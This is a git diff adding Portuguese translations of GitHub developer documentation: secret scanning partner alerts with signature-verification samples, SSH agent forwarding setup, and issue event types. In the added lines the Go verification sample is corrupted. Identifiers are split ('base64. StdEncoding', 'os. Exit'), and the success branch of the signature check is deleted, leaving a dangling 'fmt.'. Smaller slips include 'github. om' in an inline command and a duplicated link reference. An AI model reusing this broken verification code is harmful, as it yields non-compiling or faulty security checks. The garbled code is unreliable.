+### Crie um serviço de alerta secreto
 
-Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint.
+Crie um ponto de extremidade HTTP público e acessível à internet na URL que você nos forneceu. Quando uma correspondência da sua expressão regular é encontrada em um repositório público, {% data variables.product.prodname_dotcom %} enviará uma mensagem HTTP `POST` para o seu ponto de extremidade.
 
-#### Example POST sent to your endpoint
+#### Exemplo de POST enviado para seu ponto de extremidade
 
 ```http
 POST / HTTP/2
@@ -73,34 +73,33 @@ Content-Length: 0123
 [{"token":"NMIfyYncKcRALEXAMPLE","type":"mycompany_api_token","url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt"}]
 ```
 
-The message body is a JSON array that contains one or more objects with the following contents. When multiple matches are found, {% data variables.product.prodname_dotcom %}  may send a single message with more than one secret match. Your endpoint should be able to handle requests with a large number of matches without timing out.
+O corpo da mensagem é um array do JSON que contém um ou mais objetos com o seguinte conteúdo. Quando várias correspondências forem encontradas, o {% data variables.product.prodname_dotcom %} pode enviar uma única mensagem com mais de uma correspondência secreta. Seu ponto de extremidade deve ser capaz de lidar com solicitações com um grande número de correspondências sem exceder o tempo.
 
-* **Token**: The value of the secret match.
-* **Type**: The unique name you provided to identify your regular expression.
-* **URL**: The public commit URL where the match was found.
+* **Token**: O valor da correspondência secreta.
+* **Tipo**: O nome único que você forneceu para identificar sua expressão regular.
+* **URL**: A URL de commit pública onde a correspondência foi encontrada.
 
-### Implement signature verification in your secret alert service
+### Implemente a verificação de assinatura em seu serviço de alerta secreto
 
-We strongly recommend you implement signature validation in your secret alert service to ensure that the messages you receive are genuinely from {% data variables.product.prodname_dotcom %} and not malicious.
+É altamente recomendável que você implemente a validação da assinatura no seu serviço de alerta de segredo para garantir que as mensagens que você recebe sejam genuinamente de {% data variables.product.prodname_dotcom %} e não sejam maliciosas.
 
-You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm.
+Você pode recuperar a chave pública de da varredura secreta do segredo do {% data variables.product.prodname_dotcom %} em https://api.github.com/meta/public_keys/secret_scanning e validar a mensagem usando o algoritmo `ECDSA-NIST-P256V1-SHA256`.
 
 {% note %}
 
-**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a personal access token (no scopes required) as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)."
+**Observação**: Ao enviar uma solicitação para o ponto de extremidade da chave pública acima, você poderá atingir os limites de taxa. Para evitar atingir os limites de velocidade, você pode usar um token de acesso pessoal (sem escopos obrigatórios) como sugerido nas amostras abaixo, ou usar uma solicitação condicional. Para obter mais informações, consulte "[Primeiros passos com a API REST](/rest/guides/getting-started-with-the-rest-api#conditional-requests)".
 
 {% endnote %}
 
-Assuming you receive the following message, the code snippets below demonstrate how you could perform signature validation.
-The code snippets assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated PAT (https://github.com/settings/tokens) to avoid hitting rate limits. The PAT does not need any scopes/permissions.
+Supondo que você receba a mensagem a seguir, os trechos de código abaixo demonstram como você poderia efetuar a validação da assinatura. Os snippets de código assumem que você definiu uma variável de ambiente denominada `GITHUB_PRODUCTION_TOKEN` com um PAT gerado (https://github.com/settings/tokens) para evitar atingir os limites de taxa. O PAT não precisa de escopos/permissões.
 
 {% note %}
 
-**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing.
+**Observação**: A assinatura foi gerada usando o texto da mensagem não processada. Portanto, é importante que você também use o texto da mensagem não processada para validação da assinatura, em vez de analisar e criar strings do JSON a fim de evitar reorganizar a mensagem ou mudar de espaçamento.
 
 {% endnote %}
 
-**Sample message sent to verify endpoint**
+**Mensagem de exemplo enviada para verificar o ponto de extremidade**
 ```http
 POST / HTTP/2
 Host: HOST
@@ -113,7 +112,7 @@ Content-Length: 0000
 [{"token":"some_token","type":"some_type","url":"some_url"}]
 ```
 
-**Validation sample in Go**
+**Exemplo de validação em Go**
 ```golang
 package main
 
@@ -200,31 +199,30 @@ func main() {
   ecdsaKey, ok := key.(*ecdsa.PublicKey)
   if !ok {
     fmt.Println("GitHub key was not ECDSA, what are they doing?!")
-    os.Exit(7)
+    Exit(7)
   }
 
   // Parse the Webhook Signature
   parsedSig := asn1Signature{}
-  asnSig, err := base64.StdEncoding.DecodeString(kSig)
+  asnSig, err := base64. StdEncoding. DecodeString(kSig)
   if err != nil {
-    fmt.Printf("unable to base64 decode signature: %s\n", err)
-    os.Exit(8)
+    fmt. Printf("unable to base64 decode signature: %s\n", err)
+    os. Exit(8)
   }
-  rest, err := asn1.Unmarshal(asnSig, &parsedSig)
+  rest, err := asn1. Unmarshal(asnSig, &parsedSig)
   if err != nil || len(rest) != 0 {
-    fmt.Printf("Error unmarshalling asn.1 signature: %s\n", err)
-    os.Exit(9)
+    fmt. Printf("Error unmarshalling asn.1 signature: %s\n", err)
+    os. Exit(9)
   }
 
   // Verify the SHA256 encoded payload against the signature with GitHub's Key
-  digest := sha256.Sum256([]byte(payload))
-  keyOk := ecdsa.Verify(ecdsaKey, digest[:], parsedSig.R, parsedSig.S)
+  digest := sha256. Sum256([]byte(payload))
+  keyOk := ecdsa. Verify(ecdsaKey, digest[:], parsedSig. R, parsedSig. S)
 
   if keyOk {
-    fmt.Println("THE PAYLOAD IS GOOD!!")
-  } else {
-    fmt.Println("the payload is invalid :(")
-    os.Exit(10)
+    fmt.
+  Println("the payload is invalid :(")
+    os. Exit(10)
   }
 }
 
@@ -238,12 +236,12 @@ type GitHubSigningKeys struct {
 
 // asn1Signature is a struct for ASN.1 serializing/parsing signatures.
 type asn1Signature struct {
-  R *big.Int
-  S *big.Int
+  R *big. Int
+  S *big. Int
 }
 ```
 
-**Validation sample in Ruby**
+**Exemplo de validação no Ruby**
 ```ruby
 require 'openssl'
 require 'net/http'
@@ -283,7 +281,7 @@ openssl_key = OpenSSL::PKey::EC.new(current_key)
 puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp)
 ```
 
-**Validation sample in JavaScript**
+**Exemplo de validação no JavaScript**
 ```js
 const crypto = require("crypto");
 const axios = require("axios");
@@ -325,17 +323,17 @@ const verify_signature = async (payload, signature, keyID) => {
 };
 ```
 
-### Implement secret revocation and user notification in your secret alert service
+### Implemente revogação do segredo e notificação do usuário no seu serviço de alerta secreto
 
-For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised.
+Para {% data variables.product.prodname_secret_scanning %} em repositórios públicos, você pode melhorar o seu serviço de alerta de segredo para revogar os segredos expostos e notificar os usuários afetados. Você define como implementa isso no seu serviço de alerta de segredo, mas recomendamos considerar qualquer segredo que {% data variables.product.prodname_dotcom %} envie mensagens de que é público e que está comprometido.
 
-### Provide feedback for false positives
+### Fornece feedback sobre falsos positivos
 
-We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+Coletamos feedback sobre a validade dos segredos individuais detectados nas respostas do parceiro. Se você deseja participar, envie um e-mail para <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
 
-When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats.
+Quando relatamos segredos para você, enviamos uma matriz JSON com cada elemento que contém o token, o identificador de tipo e a URL dp commit. Quando você nos envia feedback, você nos envia informações sobre se o token detectado era uma credencial real ou falsa. Aceitamos comentários nos seguintes formatos.
 
-You can send us the raw token:
+Você pode nos enviar o token não processado:
 
 ```
 [
@@ -346,7 +344,7 @@ You can send us the raw token:
   }
 ]
 ```
-You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256:
+Você também pode fornecer o token em forma de hash após executar uma única forma de hash criptográfico do token não processado usando SHA-256:
 
 ```
 [
@@ -357,13 +355,13 @@ You may also provide the token in hashed form after performing a one way cryptog
   }
 ]
 ```
-A few important points:
-- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both.
-- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm.
-- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed.
+Alguns pontos importantes:
+- Você deve enviar-nos apenas a forma não processada do token ("token_raw"), ou a forma em hash ("token_hash"), mas não ambos.
+- Para a forma de hash do token não processado, você só pode usar SHA-256 para armazenar o token, e não qualquer outro algoritmo de hashing.
+- A etiqueta indica se o token é verdadeiro ("true_positive") ou um falso positivo ("false_positive"). São permitidas apenas essas duas strings literais minúsculas.
 
 {% note %}
 
-**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+**Nota:** Nosso tempo limite de solicitação está definido para ser maior (isto é, 30 segundos) para parceiros que fornecem dados sobre falsos positivos. Se você precisar de um tempo limite superior a 30 segundos, envie um e-mail para <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/overview/using-ssh-agent-forwarding.md b/translations/pt-BR/content/developers/overview/using-ssh-agent-forwarding.md
index 1a5c54cd28..14ef7a81b7 100644
--- a/translations/pt-BR/content/developers/overview/using-ssh-agent-forwarding.md
+++ b/translations/pt-BR/content/developers/overview/using-ssh-agent-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Using SSH agent forwarding
-intro: 'To simplify deploying to a server, you can set up SSH agent forwarding to securely use local SSH keys.'
+title: Usar o encaminhamento de agente SSH
+intro: 'Para simplificar a implantação em um servidor, você pode configurar o encaminhamento do agente para usar as chaves SSH locais de forma segura.'
 redirect_from:
   - /guides/using-ssh-agent-forwarding
   - /v3/guides/using-ssh-agent-forwarding
@@ -11,50 +11,50 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: SSH agent forwarding
+shortTitle: Encaminhamento de agente SSH
 ---
 
 
 
-SSH agent forwarding can be used to make deploying to a server simple.  It allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server.
+O encaminhamento do agente SSH pode ser usado para simplificar a implantação em um servidor.  Isso permite que você use suas chaves SSH locais em vez de deixar as chaves (sem frase secreta!) no seu servidor.
 
-If you've already set up an SSH key to interact with {% data variables.product.product_name %}, you're probably familiar with `ssh-agent`. It's a program that runs in the background and keeps your key loaded into memory, so that you don't need to enter your passphrase every time you need to use the key. The nifty thing is, you can choose to let servers access your local `ssh-agent` as if they were already running on the server. This is sort of like asking a friend to enter their password so that you can use their computer.
+Se você já configurou uma chave SSH para interagir com {% data variables.product.product_name %}, você provavelmente está familiarizado com o `ssh-agent`. É um programa que é executado em segundo plano e mantém sua chave carregada na memória para que você não precise digitar a sua frase secreta toda vez que precisar usar a chave. O fato é que você pode optar por deixar os servidores acessarem seu `ssh-agent local` como se já estivessem em execução no servidor. Isso é como pedir a um amigo para digitar sua senha para que você possa usar o computador.
 
-Check out [Steve Friedl's Tech Tips guide][tech-tips] for a more detailed explanation of SSH agent forwarding.
+Confira o [Guia das Dicas Técnicas de Steve Friedl][tech-tips] para obter uma explicação mais detalhada sobre encaminhamento do agente SSH.
 
-## Setting up SSH agent forwarding
+## Configurar o encaminhamento do agente SSH
 
-Ensure that your own SSH key is set up and working. You can use [our guide on generating SSH keys][generating-keys] if you've not done this yet.
+Certifique-se de que sua própria chave SSH esteja configurada e funcionando. Você pode usar [nosso guia sobre a geração de chaves SSH][generating-keys], caso ainda não tenha feito isso.
 
-You can test that your local key works by entering `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` in the terminal:
+Você pode testar se a chave local funciona, inserindo `ssh -T git@{% ifversion ghes or ghae %}nome de host{% else %}github. om{% endif %}` no terminal:
 
 ```shell
 $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
 # Attempt to SSH in to github
-> Hi <em>username</em>! You've successfully authenticated, but GitHub does not provide
-> shell access.
+> Hi <em>username</em>! Você autenticou com sucesso, mas o GitHub não fornece
+> acesso shell.
 ```
 
-We're off to a great start. Let's set up SSH to allow agent forwarding to your server.
+Começamos bem. Vamos configurar SSH para permitir o encaminhamento de agentes para o seu servidor.
 
-1. Using your favorite text editor, open up the file at `~/.ssh/config`. If this file doesn't exist, you can create it by entering `touch ~/.ssh/config` in the terminal.
-
-2. Enter the following text into the file, replacing `example.com` with your server's domain name or IP:
+1. Usando o seu editor de texto favorito, abra o arquivo em `~/.ssh/config`. Se este arquivo não existir, você poderá criá-lo digitando `touch ~/.ssh/config` no terminal.
 
+2. Digite o seguinte texto no arquivo, substituindo `example.com` pelo nome do domínio ou IP do seu servidor:
+   
         Host example.com
           ForwardAgent yes
 
 {% warning %}
 
-**Warning:** You may be tempted to use a wildcard like `Host *` to just apply this setting to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with *every* server you SSH into. They won't have direct access to the keys, but they will be able to use them *as you* while the connection is established. **You should only add servers you trust and that you intend to use with agent forwarding.**
+**Aviso:** Você pode estar tentado a usar um caractere curinga como `Host *` para aplicar esta configuração em todas as conexões SSH. Na verdade, isso não é uma boa ideia, já que você iria compartilhar suas chaves SSH locais com *todos* os servidores que ingressar com SSH. Eles não terão acesso direto às chaves, mas serão poderão usá-las *como você* enquanto a conexão for estabelecida. **Você deve adicionar apenas os servidores em que confia e que pretende usar com o encaminhamento de agentes.**
 
 {% endwarning %}
 
-## Testing SSH agent forwarding
+## Testar o encaminhamento de agente SSH
 
-To test that agent forwarding is working with your server, you can SSH into your server and run `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` once more.  If all is well, you'll get back the same prompt as you did locally.
+Para testar se o encaminhamento de agente está funcionando com seu servidor, você pode ingressar por SSH no servidor e executar `ssh -T git@{% ifversion ghes or ghae %}nome de host{% else %}github.com{% endif %}` mais uma vez.  Se tudo correr bem, você retornará à mesma mensagem apresentada quando você fez localmente.
 
-If you're unsure if your local key is being used, you can also inspect the `SSH_AUTH_SOCK` variable on your server:
+Se você não tiver certeza se sua chave local está sendo usada, você também poderá inspecionar a variável `SSH_AUTH_SOCK` no seu servidor:
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -62,7 +62,7 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/ssh-4hNGMk8AZX/agent.79453
 ```
 
-If the variable is not set, it means that agent forwarding is not working:
+Se a variável não estiver definida, significa que o encaminhamento de agentes não está funcionando:
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -73,13 +73,13 @@ $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
 > Permission denied (publickey).
 ```
 
-## Troubleshooting SSH agent forwarding
+## Solucionar problemas de encaminhamento de agente SSH
 
-Here are some things to look out for when troubleshooting SSH agent forwarding.
+Aqui estão algumas coisas a serem analisadas quando o agente SSH for encaminhado para solução de problemas.
 
-### You must be using an SSH URL to check out code
+### Você deve estar usando uma URL com SSH para fazer check-out do código
 
-SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/config* file on your server and ensure the URL is an SSH-style URL like below:
+O encaminhamento de SSH só funciona com URLs com SSH, e não com URLs com HTTP(s). Verifique o arquivo *.git/config* no seu servidor e certifique-se de que a URL está na forma SSH, conforme abaixo:
 
 ```shell
 [remote "origin"]
@@ -87,13 +87,13 @@ SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/confi
   fetch = +refs/heads/*:refs/remotes/origin/*
 ```
 
-### Your SSH keys must work locally
+### As suas chaves SSH devem funcionar localmente
 
-Before you can make your keys work through agent forwarding, they must work locally first. [Our guide on generating SSH keys][generating-keys] can help you set up your SSH keys locally.
+Antes de fazer suas chaves funcionarem por meio do encaminhamento de agentes, primeiro elas devem funcionar localmente. [Nosso guia sobre como gerar chaves SSH][generating-keys] pode ajudá-lo a configurar suas chaves SSH localmente.
 
-### Your system must allow SSH agent forwarding
+### Seu sistema deve permitir o encaminhamento do agente SSH
 
-Sometimes, system configurations disallow SSH agent forwarding. You can check if a system configuration file is being used by entering the following command in the terminal:
+Às vezes, as configurações do sistema não permitem o encaminhamento do agente SSH. Você pode verificar se um arquivo de configuração do sistema está sendo usado digitando o seguinte comando no terminal:
 
 ```shell
 $ ssh -v <em>example.com</em>
@@ -107,7 +107,7 @@ $ exit
 # Returns to your local command prompt
 ```
 
-In the example above, the file *~/.ssh/config* is loaded first, then */etc/ssh_config* is read.  We can inspect that file to see if it's overriding our options by running the following commands:
+No exemplo acima, o arquivo *~/.ssh/config* é carregado primeiro e */etc/ssh_config* é lido em seguida.  Podemos inspecionar esse arquivo para ver se está sobrescrevendo nossas opções, ao executar os seguintes comandos:
 
 ```shell
 $ cat /etc/ssh_config
@@ -117,17 +117,17 @@ $ cat /etc/ssh_config
 >   ForwardAgent no
 ```
 
-In this example, our */etc/ssh_config* file specifically says `ForwardAgent no`, which is a way to block agent forwarding. Deleting this line from the file should get agent forwarding working once more.
+Neste exemplo, nosso arquivo */etc/ssh_config* diz especificamente `ForwardAgent no`, que é uma maneira de bloquear o encaminhamento de agentes. A exclusão desta linha do arquivo deverá fazer com que o encaminhamento de agentes funcionando mais uma vez.
 
-### Your server must allow SSH agent forwarding on inbound connections
+### Seu servidor deve permitir o encaminhamento do agente SSH em conexões de entrada
 
-Agent forwarding may also be blocked on your server. You can check that agent forwarding is permitted by SSHing into the server and running `sshd_config`. The output from this command should indicate that `AllowAgentForwarding` is set.
+O encaminhamento de agentes também pode ser bloqueado no seu servidor. Você pode verificar se o encaminhamento do agente é permitido pelo SSHing no servidor e executar `sshd_config`. A saída deste comando deve indicar que `AllowAgentForwarding` foi configurado.
 
-### Your local `ssh-agent` must be running
+### Seu `ssh-agent` deve estar em execução
 
-On most computers, the operating system automatically launches `ssh-agent` for you.  On Windows, however, you need to do this manually. We have [a guide on how to start `ssh-agent` whenever you open Git Bash][autolaunch-ssh-agent].
+Na maioria dos computadores, o sistema operacional inicia automaticamente `ssh-agent` para você.  No entanto, é necessário que isso seja feito manualmente no Windows. Temos [um guia sobre como iniciar `ssh-agent` sempre que você abrir o Git Bash][autolaunch-ssh-agent].
 
-To verify that `ssh-agent` is running on your computer, type the following command in the terminal:
+Para verificar se `ssh-agent` está em execução no seu computador, digite o seguinte comando no terminal:
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -135,15 +135,15 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/launch-kNSlgU/Listeners
 ```
 
-### Your key must be available to `ssh-agent`
+### Sua chave deve estar disponível para `ssh-agent`
 
-You can check that your key is visible to `ssh-agent` by running the following command:
+Você pode verificar se sua chave está visível para `ssh-agent`, executando o seguinte comando:
 
 ```shell
 ssh-add -L
 ```
 
-If the command says that no identity is available, you'll need to add your key:
+Se o comando disser que nenhuma identidade está disponível, você deverá adicionar sua chave:
 
 ```shell
 $ ssh-add <em>yourkey</em>
@@ -151,7 +151,7 @@ $ ssh-add <em>yourkey</em>
 
 {% tip %}
 
-On macOS, `ssh-agent` will "forget" this key, once it gets restarted during reboots. But you can import your SSH keys into Keychain using this command:
+No macOS, `ssh-agent` irá "esquecer" essa chave, assim que ela for reiniciada durante reinicializações. No entanto, você poderá importar suas chaves SSH para o Keychain usando este comando:
 
 ```shell
 $ ssh-add -K <em>yourkey</em>
@@ -161,5 +161,5 @@ $ ssh-add -K <em>yourkey</em>
 
 [tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
 [generating-keys]: /articles/generating-ssh-keys
-[ssh-passphrases]: /ssh-key-passphrases/
+[generating-keys]: /articles/generating-ssh-keys
 [autolaunch-ssh-agent]: /github/authenticating-to-github/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows
diff --git a/translations/pt-BR/content/developers/webhooks-and-events/events/github-event-types.md b/translations/pt-BR/content/developers/webhooks-and-events/events/github-event-types.md
index d124ebe4b6..06a4693b78 100644
--- a/translations/pt-BR/content/developers/webhooks-and-events/events/github-event-types.md
+++ b/translations/pt-BR/content/developers/webhooks-and-events/events/github-event-types.md
@@ -1,7 +1,6 @@
 ---
 title: Tipos de eventos do GitHub
 intro: 'Para a API de eventos de {% data variables.product.prodname_dotcom %}, saiba sobre cada tipo de evento, a ação de acionamento em {% data variables.product.prodname_dotcom %} e as propriedades exclusivas de cada evento.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /v3/activity/event_types
   - /developers/webhooks-and-events/github-event-types
diff --git a/translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md b/translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md
index c7ccfa8b72..cc87fd4a48 100644
--- a/translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md
+++ b/translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md
@@ -1,6 +1,6 @@
 ---
-title: Issue event types
-intro: 'For the Issues Events API and Timeline API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.'
+title: Tipos de eventos de problemas
+intro: 'Para a API de eventos de problemas e API da Linha do tempo, aprenda sobre cada tipo de evento, ativando a ação em {% data variables.product.prodname_dotcom %}, bem como as propriedades únicas de cada evento.'
 redirect_from:
   - /v3/issues/issue-event-types
   - /developers/webhooks-and-events/issue-event-types
@@ -12,27 +12,28 @@ versions:
 topics:
   - Events
 ---
-Issue events are triggered by activity in issues and pull requests and are available in the [Issue Events API](/rest/reference/issues#events) and the [Timeline Events API](/rest/reference/issues#timeline). Each event type specifies whether the event is available in the Issue Events or Timeline Events APIs.
 
-GitHub's REST API considers every pull request to be an issue, but not every issue is a pull request. For this reason, the Issue Events and Timeline Events endpoints may return both issues and pull requests in the response. Pull requests have a `pull_request` property in the `issue` object. Because pull requests are issues, issue and pull request numbers do not overlap in a repository. For example, if you open your first issue in a repository, the number will be 1. If you then open a pull request, the number will be 2. Each event type specifies if the event occurs in pull request, issues, or both.
+Eventos de problemas são acionados pela atividade em problemas e pull requests e estão disponíveis na [API de eventos de problemas](/rest/reference/issues#events) e na [API de eventos da linha do tempo](/rest/reference/issues#timeline). Cada tipo de evento especifica se o evento está disponível nos eventos do problema ou na API de eventos da linha do tempo.
 
-## Issue event object common properties
+A API REST do GitHub considera que todo pull request é um problema, mas nem todos os problemas são pull request. Por este motivo, os eventos de problemas e os pontos de extremidade dos eventos da linha do tempo podem retornar problemas e pull requests na resposta. Pull requests têm uma propriedade `pull_request` no objeto `problema`. Como os pull requests são problemas, os números de problemas e pull requests não se sobrepõem em um repositório. Por exemplo, se você abrir seu primeiro problema em um repositório, o número será 1. Se você abrir um pull request, o número será 2. Cada tipo de evento especifica se o evento ocorre em um pull request, em um problema ou em ambos.
 
-Issue events all have the same object structure, except events that are only available in the Timeline Events API. Some events also include additional properties that provide more context about the event resources. Refer to the specific event to for details about any properties that differ from this object format.
+## Propriedades comuns do objeto de evento do problema
+
+Todos os eventos de problema têm a mesma estrutura de objeto, exceto os eventos que estão disponíveis apenas na API de eventos da linha do tempo. Alguns eventos também incluem propriedades adicionais que fornecem mais contexto sobre os recursos do evento. Consulte o evento específico para obter informações sobre quaisquer propriedades que diferem deste formato de objeto.
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## added_to_project
 
-The issue or pull request was added to a project board. {% data reusables.projects.disabled-projects %}
+O problema ou pull request foi adicionado a um quadro de projeto. {% data reusables.projects.disabled-projects %}
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull request</li></ul> | **X** | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull request</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
@@ -40,173 +41,173 @@ The issue or pull request was added to a project board. {% data reusables.projec
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.project-card-properties %}
 
-## assigned
+## atribuído
 
-The issue or pull request was assigned to a user.
+O problema ou o pull request foi atribuído a um usuário.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X**  |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.assignee-properties %}
 
 ## automatic_base_change_failed
 
-GitHub unsuccessfully attempted to automatically change the base branch of the pull request.
+O GitHub tentou alterar automaticamente o branch base do pull request sem sucesso.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** |  |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |                                  |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## automatic_base_change_succeeded
 
-GitHub successfully attempted to automatically change the base branch of the pull request.
+O GitHub tentou alterar automaticamente o branch base do pull request com sucesso.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |                                  |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## base_ref_changed
+## ref_base_alterada
 
-The base reference branch of the pull request changed.
+O branch de referência do pull request alterado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Pull requests</li></ul> |           **X**            |                                  |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## closed
 
-The issue or pull request was closed. When the `commit_id` is present, it identifies the commit that closed the issue using "closes / fixes" syntax. For more information about the syntax, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)".
+O problema ou pull request foi fechado. Quando o `commit_id` está presente, ele identifica o commit que fechou o problema usando sintaxe "fecha/corrige". Para obter mais informações sobre a sintaxe, consulte "[Vinculando um pull request a um problema](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)".
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## commented
+## comentado
 
-A comment was added to the issue or pull request.
+Um comentário foi adicionado ao problema ou pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Tipo de problema          | API de eventos de problema | API de eventos da linha de tempo |
+|:------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |                            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`url` | `string` | The REST API URL to retrieve the issue comment.
-`html_url` | `string` | The HTML URL of the issue comment.
-`issue_url` | `string` | The HTML URL of the issue.
-`id` | `integer` | The unique identifier of the event.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`user` | `object` | The person who commented on the issue.
-`created_at` | `string` | The timestamp indicating when the comment was added.
-`updated_at` | `string` | The timestamp indicating when the comment was updated or created, if the comment is never updated.
-`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
-`body` | `string` | The comment body text.
-`event` | `string` | The event value is `"commented"`.
-`actor` | `object` | The person who generated the event.
+| Nome                 | Tipo      | Descrição                                                                                                                                                       |
